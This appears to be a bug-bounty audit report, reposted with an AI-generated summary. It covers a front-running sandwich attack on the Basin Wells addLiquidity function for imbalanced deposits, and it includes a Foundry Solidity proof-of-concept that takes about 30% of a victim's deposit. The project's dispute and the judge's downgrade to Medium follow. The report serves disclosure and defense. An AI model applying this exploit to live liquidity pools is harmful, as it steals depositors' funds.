addLiquidity Sandwich Attack for unbalanced token deposits
A liquidity provider who deposits tokens in an imbalanced ratio can be front-run by an attacker who adds liquidity in the same imbalanced way and then immediately removes it after the victim's deposit, stealing a significant portion of the victim's funds. The report demonstrates that the attacker can gain nearly 30% of the victim's deposited tokens.
Submitted by Cosine
Impact
Wells supports adding and removing liquidity in imbalanced proportions. If a user wants to deposit liquidity in an imbalanced ratio (only one token). A attacker can front run the user by doing the same and removing the liquidity directly after the deposit of the user. By doing so the attacker steals a significant percentage of the users funds. This bug points to a mathematical issue whose effects could be even greater.
Proof of Concept
The following code demonstrates the described vulnerability:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import {TestHelper, Balances} from "test/TestHelper.sol";
contract Exploits is TestHelper {
function setUp() public {
setupWell(2); // Setup Well with two tokens and a balanced token ratio
}
function test_add_liquidity_sandwich_attack() public {
// init attacker and liquidityProvider, gives them some tokens and saves there balances before the attack
address liquidityProvider = vm.addr(1);
address attacker = vm.addr(2);
mintTokens(liquidityProvider, uint256(100 * 1e18));
mintTokens(attacker, uint256(1000 * 1e18));
Balances memory liquidityProviderBalanceBefore = getBalances(address(liquidityProvider), well);
Balances memory attackerBalanceBefore = getBalances(address(attacker), well);
// liquidityProvider wants to provide liquidity for only one token / not in current token ratio
// attacker front runs liquidityProvider and add liquidity for token[0] before liquidityProvider
vm.startPrank(attacker);
tokens[0].approve(address(well), 1000 * 1e18);
uint256[] memory amounts1 = new uint256[](2);
amounts1[0] = 1000 * 1e18; // 10x the tokens of the liquidityProvider to steal more funds
amounts1[1] = 0;
well.addLiquidity(amounts1, 0, attacker, type(uint256).max);
vm.stopPrank();
// liquidityProvider deposits some token[0] tokens
vm.startPrank(liquidityProvider);
tokens[0].approve(address(well), 100 * 1e18);
uint256[] memory amounts2 = new uint256[](2);
amounts2[0] = 100 * 1e18;
amounts2[1] = 0;
well.addLiquidity(amounts2, 0, liquidityProvider, type(uint256).max);
vm.stopPrank();
// attacker burns the LP tokens directly after the deposit of the liquidity provider
vm.startPrank(attacker);
Balances memory attackerBalanceBetween = getBalances(address(attacker), well);
well.removeLiquidityOneToken(
attackerBalanceBetween.lp,
tokens[0],
1,
address(attacker),
type(uint256).max
);
vm.stopPrank();
Balances memory attackerBalanceAfter = getBalances(address(attacker), well);
// the attacker got nearly 30% of the liquidityProviders token by front running
// the percentage value can be increased even further by increasing the amount of tokens the attacker deposits
// and/or decreasing the amount of tokens the liquidityProvider deposits
assertTrue(attackerBalanceAfter.tokens[0] - attackerBalanceBefore.tokens[0] > liquidityProviderBalanceBefore.tokens[0] * 28 / 100);
}
}
The test above can be implemented in the Basin test suite and is executable with the following command:
forge test --match-test test_add_liquidity_sandwich_attack
Tools Used
Foundry, VSCode
Recommended Mitigation Steps
Investigating the math behind this function further and writing tests for this edge case is necessary. A potential fix could be forcing users to provide liquidity in the current ratio of the reserves.
publiuss (Basin) disputed and commented:
This can be mitigated through the use of the
minLpAmountOutparameter in the function (If the attacker changes the ratio of reserves in the pool, then the number of LP tokens the user receives will be different). The POC provided uses aminLpAmountOutof 0 and thus the manipulation is succesful.Note: This behaves the same as Curve pools.
alcueca (Judge) decreased severity to Medium and commented:
Front-running liquidity operations is possible in other live AMMs, only made more efficient by the lack of fees. Using user-defined slippage controls is an adequate mitigation.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the lack of a minimum LP token output check allows an attacker to manipulate the pool ratio before a victim's imbalanced deposit, causing the victim to receive fewer LP tokens than expected.
Impact
The attacker could steal nearly 30% of the victim's deposited tokens, and the percentage can be increased by adjusting the amounts; however, the project disputed this, stating that using the `minLpAmountOut` parameter mitigates the attack, and the judge decreased severity to Medium.
What the attacker needed
Victim deposits liquidity in an imbalanced ratio; victim sets minLpAmountOut to 0 or very low; attacker can front-run the victim's transaction
The fix
The project stated that the attack can be mitigated by using the `minLpAmountOut` parameter to enforce slippage controls, and the judge agreed that user-defined slippage controls are an adequate mitigation.
How it was found
- Attacker adds a large amount of one token as liquidity in an imbalanced ratio.
- Victim adds liquidity using only one token, also imbalanced.
- Attacker immediately removes their liquidity, receiving more tokens than they deposited.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you add money to a shared pool (liquidity) in a proportion that doesn't match the pool's current ratio, the pool gives you a certain number of shares. An attacker can watch for your deposit, add a large amount just before you, and then withdraw right after you. This changes the pool's ratio so that your deposit buys fewer shares, and the attacker takes the difference as profit.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.